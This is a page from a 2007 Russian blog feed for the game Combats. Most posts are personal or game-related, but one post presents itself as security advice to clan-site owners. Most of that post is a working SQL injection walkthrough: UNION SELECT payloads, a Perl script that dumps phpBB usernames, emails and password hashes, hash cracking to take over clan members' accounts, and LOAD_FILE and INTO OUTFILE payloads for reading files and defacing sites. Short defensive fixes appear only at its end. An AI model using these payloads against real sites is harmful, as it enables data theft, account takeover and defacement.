login:        password:      
Combats Scrolls
Rambler's Top100
Гость БК
Зверские записки | Зверский Вовчик Open user info Open user photogallery
Friend page
16.06.07 10:56   |  Лизка Open user info Open user photogallery |   О том, как я опозорилась.  ru
 Вчера, после очередного экзамена (на 4 сдалась), одногруппники потащили в Гидропарк (киевский, так сказать, центр развлечений), чтобы заценить кафешку, в которой будем отмечать окончание сессии. Выяснилось, что у них там можно петь под караоке. Лучше бы мне этого не говорили.
В общем, придумала, какую песню хочу спеть - у них её не оказалось... так, я перебрала штук 5 всяко-разных песен, но репертуарчик у них скудненький, поэтому пришлось петь хотя бы что-то, от чего меня не тошнит и что у них есть. Зря я так подумала. Выбрала, умная девочка, песню с очень высокими нотами и... опозорилась... наверное:)) Всё это дело записали на фотик. Потом послушаю, чё я там нафальшивила. И если не побоюсь позора и критики, выложу сюда.
Пела "Город 312 - Останусь".. Сбилась там посреди песни. Так переволновалась, что забыла о проигрыше:))
На публике пела первый раз в жизни. Пусть и не так хорошо, как хотелось бы, но всё-таки переступила через один из своих комплексов.

ЗЫ. Потом спела ещё одну песню, но там вообще не моя тональная категория была... даже вспоминать не хочу:)

Mood: сонное
Music: слушаю, как обычно, что-то по радио.
Comments: 8 | Post comment
16.06.07 03:55   |  чиппи-гламур Open user info |   защити себя сам  ru
 Для примера использован сайт клана Cossacks Of Hell

В связи с последними событиями в БК , я решил провести исследования клансайтов ..
К сожалению , как оказалось , большая часть подвержена серьезным уязвимостям..Я хочу рассказать вам и сберечь вас от наиболее распространенных..

Как оказалось 80% просмотренных мною клансайтов имеют схожие уязвимости - сиквэл инъекции , что далеко не странно , тк у программистов не хватает больше ума как использовать стандартные проверки в скриптах при обращении к реляционной базе данных..Зачем думать головой , если можно содрать уже написанное ? =))

Зачастую , о наличии сиквэл инъекции могут сказать ошибки , явно указывающие, что произошла ошибка в sql запросе. В тоже время о наличии ошибки в сиквэл запросе можно судить и по косвенным признакам ..

Чтобы реализовать наш с вами взлом давайте найдем параметр , значения которого передаются в запросе к БД.. Это достаточно просто , как правило это может быть параметр для обращения к новостной ленте , галлерии , списку статей , панели регестрации итд ..

структура такого запроса

http://site/test.php?id=номер статьи или новости

естественно , любой нормальный человек , увидев такое в строке запроса или в сорсе кода начнет сУвать туда всякую херь =)

http://site/test.php?id=9999

http://site/test.php?id=ааа

http://site/test.php?id=0

http://site/test.php?id=-0

http://site/test.php?id=-1000

итд

в 10 сайтах , уже на этом этапе я получил ошибку , связанную с неверным сиквэл запросом

Некоторые программисты наивно полагают , что их спасет заключение параметра в одиночные ковычки - ' и ошибочная фильтрация символов.. бугага =)

что-нить типо

<?php

$param=preg_replace("/[a-zA-Z0-9]i","",$param);

?php>
---------------------------------------------------------------------------

если исследуя скрипт выше мы еще не получили ошибки , продолжим =))

http://site/test.php?id=-1'+/*

таким нехитрым маневром мы закрываем первую кавычку и ставим незакрытый сиквэл комментарий , который превращает следующий в запросе код в бесполезную информацию.

вуаля =))



*
Следует отметить , что вы можете и не получать вывод ошибочного запроса , но если в результате ковыряния параметра вы получаете редирект на главную страницу , или еще лучше страницу с пустым запросом или 500 ошибкой шттп - вы на верном пути и правильно выбрали атакуемый параметр ..
*

Дальше можно было бы и не писать ничего , если бы я не сомневался в профессионализме прогеров ..

далее начинаем подбирать верный запрос к таблице , туд , методом перебора выясняется номер столбца с выводом. Нам понадобится знать, в каком по счету столбце происходит вывод на страницу

http://site/test.php?id=-1'+union+select+null/*

если и такой запрос выдаст ошибку синтаксиса или пустую страницу , значит в скрипте, возможно имеется проверка на не пустоту одного из параметров ...

тогда идем конём ..

http://site/test.php?id=-1'+union+select+1/*

еееееее




http://site/test.php?id=-1'+union+select+1,2,3 итд/*

http://site/test.php?id=-1'+union+select+null,null,null,null,null,null,null/*


или если фильтруется пробуем

http://site/test.php?id=-1'+union+select+1,2,3,4,5,6,7/*

вуаля =))



Теперь можно перебирать имена таблиц .. Правильные запросы будут соответствовать существующим именам таблиц .. Наверно , интересно будет проверить на существование таблиц users , passwords , regusers и тд и тп ..
Если выводиться только одна строка из запроса (например , вместо тела статьи) , то можно передвигаться по строкам путем limit ..

http://site/test.php?id=-1'+union+select+1,concat(username,char(58),user_email,char(58),user_password),3,4,5,6,7+from+phpbb_users+limit+1,1/*

вуаля =))



*отдельно стоит рассказать про сиквэл функцию char() .. в качестве аргумента она принимает десятичный код ASCII символа , это нужно в том случае , когда скриптом фильтруются нужные символы...

например char(47) вернет нам / , когда если бы мы отослали его напрямую этот символ бы отфильтровался ..
*

Итак - мы имеем пароли в мд5 , логины и почтовые ящики пользователей .. (n делить на два , потом n деленное на два разделить на два итд)

Методом мат. анализа определяем , что записей в phpbb_forum тут 489 .. Анализируем сорс ошибки..
и пишем несложный скрипт на перле

не люблю я пхп =))

#!/usr/bin/perl -w

use LWP;
use strict;

my $ua=LWP::UserAgent->new;
my $i;
my $res;

$path='путь к уязвимости=-1\'+union+select+1,concat(username,char(58),user_email,char(58),user_password),3,4,5,6,7+from+phpbb_users+limit';


for ($i=1;$i<=488;$i++) {
my $res=$ua->request(HTTP::Request->new(GET=>$path.'+'."$i".',1/*'));
if ($res->is_success) {
$res->content=~/<center>Запрещено просматривать статью '(.*):(.*):(.*)'/;
open (LOG,">>list") || die " cant open file";
print LOG $1.':'.$2.':'.$3."\n";
close LOG;

} else {
print $res->status_line;
}
}



В кратце - используем модуль лвл для последовательного гет запроса ко всем строкам таблицы , выделяем из сорса нужные тэги , а из них в свою очередь - логины , пароли и мэйлы ..


вуаля =))

в фале list , в одной корневой со скриптом через 2 мин у нас вся база данных сайта =))

кидаем пароли клана на подбор в любую утилиту для штурма мд5

и вуаля , через минуту у нас уже пасс от одного соклана ..
а еще через два дня , от половины





но какого же будет ваше удивление , когда в ответ на инъекцию

http://site/test.php?id=-1'+union+select+1,LOAD_FILE(''),3,4,5,6,7/*

вы получите





сайтик то , на винде стоит , а это увеличивает полет фантазии вдвое
нам на самом деле и не нужны пароли , их можно и не качать ..
Достаточно написать что - нить типа

http://site/test.php?id=-1'+union+select+1,LOAD_FILE('путь к любому файлу на диске C:\'),3,4,5,6,7/*

для просмотра любого скрипта

и

http://site/test.php?id=-1'+union+select+1,'',2,3,4,5,6,7+from+phpbb_forum+into+outfile+'C:\usr\local\site\www\index.php'/*

для дефейса .. те подмены главной страницы .. да и вообще стереть любой файл можно ..
или закачать свое ..

Похожие уязвимости я нашел почти на всех топ клан сайтах ..
Даркклан , рмиб и пачке других..

Попытаться исправить это можно путем

- для целых и дробных величин , перед их использованием в запросе надо привести величину к нужному типу ..

$id=(int)$id; $total=(float)$total;

Вместо этого можно вставить систему слежения за тестированием на сиквэл инъекцию ..

if((string)$id<>(string)(int)$id) {

// пишем в лог о попытке ..

die('ops');

}

- для строковых параметров , которые не используются в like , regexp и тд , экранируем кавычки ..

$str=addslashes($str);

или , лучше я всегда советовал

mysql_escape_string($str)

- в строках , которые предполагается использовать внутри like , regexp и тд , необходимо так же заэкранировать специальные символы , применяющиеся в этих операторах , если это необходимо.. В противном случае , можно задокументировать использование этих символов ..



На прощание хочу сказать - никогда не ждите благодарностей от людей..
удачи , и помните - если жизнь свернула вас как удав , терпите =)))

hacked by 4

hacked by RaD

отдельное спасибо Diogen-у
Comments: 19 | Post comment
14.06.07 21:02   |  Менестрелъ Ночи Open user info |   Клоун.  ru
 http://capitalcity.combats.ru/forum.pl?id=1181837895&n=index - такой вот клоун появился сегодня на форуме.

УБИЙЦА_МАГОВ [10] (14.06.07 20:22)

> Менестрелъ Ночи [9]

Ты пес нетральный воще тихо сиди я вас не уважаю воще вы то за тьму то за свет как шестерки то там подстелитесть то там где команда сильней.... так што тихо сиди

УБИЙЦА_МАГОВ [10] (14.06.07 20:26)

> Менестрелъ Ночи [9]


> нифига себе наезды))) а ты в курсе, что свои слова надо
> отвечать? А то получить можно

Что опять побежыш инкам ж.....пу полижеш что б за тя прилетели или как?

Ну нормально так. Кончилась для человека игра :)

Update: 14-06-07 23:02

УБИЙЦА_МАГОВ [10] (14.06.07 21:16)

> Менестрелъ Ночи [9]

Ну тут мазя такая елси ваш клан играет за тьму но я канешно ивиняюсь за то что оскорблял вашых сокланов которые как дураки заступаютсо за свет.... ну а если вы за свет то какать я хотел на тебя с твоими извинениями .... ВОТ МОЯ ПОЗИЦЫЯ

ну хоть что-то :)))
Comments: 1 | Post comment
14.06.07 19:19   |  Лизка Open user info Open user photogallery |   Итоги безскрольных дней.  ru
 Не помню, с какого момента скроллы перестали работать. У меня сложилось впечатления, что это длилось целую вечность. За эти дни:
1. Съездила к маме, посмотрела на собанек! Это просто бомба, а не собаки:) Такие клёвые-клёвые:) Мама какое-то время назад говорила, что подлечит их и, возможно, будет искать им новых хозяев (ей тяжело с животными после Долли..). Но я решительно настроена собак оставить.. если не маме, то себе. Позже выложу их фотки:)
2. Ещё у мамы на балконе где-то с 2 месяца назад свили гнездо голуби:) И неделю назад вылупились очаровательные голубята. На них я вчера тоже посмотрела - здорово. Правда, уже вымахали за неделю здоровенные. Фотки тоже потом закину:)
3. У меня дома пустил стрелку и обзавёлся бутонами калач!!! У меня никогда в жизни не цвели комнатные растения. Как правило, умирали либо от пересыхания, либо от передозировки водой. В какой-то степени я собой горжусь. При том, как я цветы люблю, у меня раньше никогда не получалось правильно за ними ухаживать.
В общем, так у меня обстояли дела эту вечность:) До связи, немногочисленные мои дорогие читатели!;)

Mood: позитивное
Comments: 6 | Post comment
14.06.07 18:49   |  Лизка Open user info Open user photogallery |   Посоветуйте...  ru
 Вот думаю украшение купить.. зацените:
CUT: Продолжение

Mood: вопросительное
tags: юмор
Comments: 30 | Post comment
14.06.07 18:40   |  Лизка Open user info Open user photogallery |   Продаю чувство юмора. Недорого. Приватик.  ru
 18:08 [ФРЕЯ] to [Rual Ilmarranen] как дела, сарделька?
18:11 [Rual Ilmarranen] to [ФРЕЯ] на 15 минут хватит?
18:12 [ФРЕЯ] to [Rual Ilmarranen] 15 мин за ковер?
18:13 [Rual Ilmarranen] to [ФРЕЯ] ща кляп из того ковра поставлю)
18:13 [ФРЕЯ] to [Rual Ilmarranen] лучше жж кастуй за ковер))
18:15 [Rual Ilmarranen] to [ФРЕЯ] могу жж -5. Хотя не, не могу. темная не прокачана))
18:16 [Лизка] Кастую клаустрофобию. Приватик.
14.06.07 18:19 Тарман "Жженый" наложил заклятие молчания на "Лизка", сроком 30 минут

Тяжело, наверное, без ч/ю живётся...

Mood: удивлённое
tags: БК
Comments: 4 | Post comment
14.06.07 16:38   |  Менестрелъ Ночи Open user info |   Избранные  ru
 Создавал уже на форуме подобную тему, потому что скроллы не работали.

Вам в кайф поливать всех грязью чтоли? Что ни новость, так столько желчи по отношению почти ко всем.

А все началось с того, что нашего в Яндексе новость о моем топе про "Музей БК". "Засоренный флудом мозг" - замечательно. Спасибо. А еще наткнулся на новость про нашу статью о заработке в пещерах с вашим комментарием "А кое-кто знает больше". Так почему бы вам самим не написать, а?

В таком случае я никому не скажу, что новости вы писать не умеете как следует. Не скажу, что вы заливаете на свой сайт картинки в *.bmp, не скажу, что в одной из первых новостей ссылки на картинки ведут на сталков, хотя копирайта на них нет. И с картинками на ОС такая же ситуация...



Comments: 1 | Post comment
13.06.07 00:03   |  Крошли Ню Open user info |   Путинскому посвящаеться))  ru
 ММуууууууууууууууууууууууууууууууууууууурк)) И много примного хугоФФ:)

Mood: влюбчивое 
Comments: 5 | Post comment
12.06.07 23:59   |  ландыши Open user info Open user photogallery |   Активное руководство :)  ru
 Вот блин повезло... за сутки не сделано ничего практически.

Спасибо активно "помогающему" руководству :))

Очень повезло, что некоторые сервисы по крайней мере частично поддаются правке через написанные мной ресурсы :)

Mood: эмо
Music: Diam's - Petite Banlieusarde
Post comment
12.06.07 14:23   |  Менестрелъ Ночи Open user info |   БК - Площадь Трех Вокзалов.  ru
 Помните, кто-то говорил, мол, БК стал похож на реал? Люди стали хамить друг другу, оскорблять, потеряли всякое уважение к другим игрокам и т.п. Клуб давно перерос границы реала и создал нечто свое, новое. Сейчас Клуб - это мир, где давно нет разницы между добром и злом. Это мир, где людям плевать, говоришь ты правду или врешь. Это мир, где игроку плевать, что о нем думают окружающие: жажда быть круче всех и жажда новой цифры у ника - вот что правит сейчас людьми в Клубе.

ЗДЕСЬ ЕСТЬ ПРОДОЛЖЕНИЕ: Продолжение
Comments: 3 | Post comment

Total posts: 3222 Pages: 323
«« « 1.. 10.. 20.. 30.. 40.. 50.. 60.. 70.. 80.. 90.. 100.. 110.. 120.. 130.. 140.. 150.. 160.. 170.. 180.. 190.. 200.. 210.. 220.. 230.. 240.. 250.. 260.. 270.. 280.. 289 290 291 292 293 294 295 296 297 298 299 300.. 310.. 320.. » »»
 
29.06.09 14:26
: Повелитель Снов
reason: Аморальные фото
 


« 2025 may »
Mo Tu We Th Fr Sa Su
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31

 
 © 2007–2025 «combats.com»
  18+  
feedback